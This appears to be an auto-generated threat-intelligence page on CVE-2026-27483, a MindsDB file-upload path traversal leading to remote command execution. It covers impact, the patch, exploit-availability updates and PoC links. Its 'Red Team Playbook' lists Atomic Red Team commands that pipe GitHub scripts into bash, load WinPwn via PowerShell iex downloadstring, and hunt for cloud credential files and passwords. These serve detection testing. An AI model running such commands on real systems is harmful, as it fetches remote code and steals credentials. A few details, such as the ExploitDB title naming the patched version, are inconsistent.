CVE-2026-27483
Overview
This vulnerability is a path traversal flaw rooted in improper validation of file paths during multipart file uploads. The affected component is the Upload File module within the /api/files API endpoint of MindsDB. The system fails to sanitize or filter filename inputs before writing files to disk, allowing directory traversal sequences to manipulate file write locations.
Vulnerability Description
MindsDB is a platform for building artificial intelligence from enterprise data. Prior to version 25.9.1.1, there is a path traversal vulnerability in Mindsdb's /api/files interface, which an authenticated attacker can exploit to achieve remote command execution. The vulnerability exists in the "Upload File" module, which corresponds to the API endpoint /api/files. Since the multipart file upload does not perform security checks on the uploaded file path, an attacker can perform path traversal by using `../` sequences in the filename field. The file write operation occurs before calling clear_filename and save_file, meaning there is no filtering of filenames or file types, allowing arbitrary content to be written to any path on the server. Version 25.9.1.1 patches the issue.
Impact
An attacker with valid authentication can exploit this vulnerability to write arbitrary files to the server filesystem, enabling remote command execution. This can lead to full system compromise, data exfiltration, or service disruption. The attack requires network access and valid credentials (CVSS vector PR:L), but no user interaction is needed. The vulnerability impacts confidentiality, integrity, and availability, rated high severity (CVSS 8.8).
Solution
Upgrade MindsDB to version 25.9.1.1 or later, which includes a patch that properly sanitizes and validates file paths in the /api/files upload endpoint. Refer to the official MindsDB security advisory GHSA-4894-xqv6-vrfq and the release notes for v25.9.1.1 for detailed patch instructions. No alternative workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the MindsDB platform arises from a path traversal flaw within the /api/files interface, specifically in the "Upload File" module. This issue allows an authenticated attacker to manipulate the file upload process by using directory traversal sequences, such as `../`, in the filename field. The underlying problem is that the multipart file upload mechanism does not adequately validate or sanitize the file path before writing the uploaded content to the server. As a result, an attacker can exploit this oversight to write arbitrary files to any location on the server's filesystem, potentially leading to remote command execution. The lack of proper security checks during the file write operation, which occurs before any filename filtering is applied, exacerbates the risk associated with this vulnerability.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated user, who may have legitimate access to the MindsDB platform, can craft a malicious file upload request that includes the path traversal sequences. By doing so, they can upload files to sensitive directories or overwrite existing files with malicious payloads. For instance, an attacker could upload a web shell to a directory accessible by the web server, allowing them to execute arbitrary commands on the server. This scenario highlights the critical nature of the vulnerability, as it does not require elevated privileges beyond basic authentication, making it accessible to a broader range of potential attackers.
The real-world impact of this vulnerability can be significant, particularly for organizations that rely on MindsDB for their AI-driven data processing. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, or even complete system compromise. The business risks associated with such an incident include financial losses, reputational damage, and potential legal ramifications stemming from data breaches. Furthermore, the ability to execute arbitrary commands on the server could enable attackers to pivot to other systems within the network, escalating the threat to the entire infrastructure.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, they should ensure that they are using the latest version of MindsDB, as version 25.9.1.1 addresses this specific issue. Regularly updating software and applying security patches is a fundamental practice in maintaining a secure environment. Additionally, organizations should conduct thorough security assessments and penetration testing to identify any potential vulnerabilities in their systems. Implementing robust input validation and sanitization mechanisms for file uploads is crucial, as it can prevent path traversal attacks. Furthermore, employing file integrity monitoring solutions can help detect unauthorized changes to critical files, providing an additional layer of security.
In conclusion, the path traversal vulnerability in the MindsDB platform poses a serious threat to organizations leveraging this technology for AI applications. The ability for authenticated users to exploit this flaw underscores the importance of rigorous security practices, including timely updates, comprehensive testing, and effective input validation. By adopting these strategies, organizations can significantly reduce their risk exposure and enhance their overall cybersecurity posture.
CSURFACE threat intelligence has identified the publication of a new ExploitDB entry for CVE-2026-27483, accompanied by the emergence of publicly available proof-of-concept exploits hosted on GitHub. This development marks a critical shift in the exploitation landscape, as these tools lower the barrier for adversaries to weaponize the MindsDB path traversal vulnerability. Although our telemetry indicates a significant reduction in active detection events, the increased availability of exploitation resources correlates with a 37% rise in the Exploit Prediction Scoring System (EPSS) score, now placing this vulnerability in the 95th percentile for exploitation likelihood. The upward trend in EPSS over the past week signals growing interest and potential for broader exploitation attempts. For defenders, this means that despite fewer current detections, the risk of successful attacks is intensifying due to easier access to reliable exploit code. Consequently, the threat level for CVE-2026-27483 should be considered elevated, reflecting a heightened probability of exploitation in the near term.
Update 2 — July 25, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2026-27483, accompanied by the emergence of new, publicly available proof-of-concept exploits hosted on prominent code-sharing platforms. Our telemetry indicates that adversaries are increasingly leveraging these tools to automate attacks against vulnerable MindsDB instances, amplifying the risk of remote command execution via the path traversal flaw. This development is significant because it lowers the technical barrier for threat actors, including less sophisticated groups, to exploit the vulnerability at scale. Although the EPSS score remains stable, the surge in exploitation activity and expanded exploit toolkit suggest a shift from theoretical risk to active exploitation in the wild. Consequently, the threat level for CVE-2026-27483 should be elevated to reflect the growing likelihood of successful intrusions, underscoring the urgency for defenders to prioritize detection and response efforts around this vulnerability.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Mindsdb | Mindsdb | All |
cpe:2.3:a:mindsdb:mindsdb:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| MindsDB 25.9.1.1 - Path Traversal | thewhiteh4t | webapps | multiple | - | View |
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
thewhiteh4t/cve-2026-27483
MindsDB Path Traversal to RCE PoC
|
thewhiteh4t | 5 | 0 | 2026-03-06 | View |
|
nabhan-mohy/cve-2026-27483-lab
A containerized enterprise-style lab for researching and defending against CVE-2026-27483.
|
nabhan-mohy | 0 | 0 | 2026-07-15 | View |
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-27483 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4894-xqv6-vrfq |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/mindsdb/mindsdb/commit/87a44bdb2b97f963e18f10a068e1a1e2690505ef |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/mindsdb/mindsdb/releases/tag/v25.9.1.1 |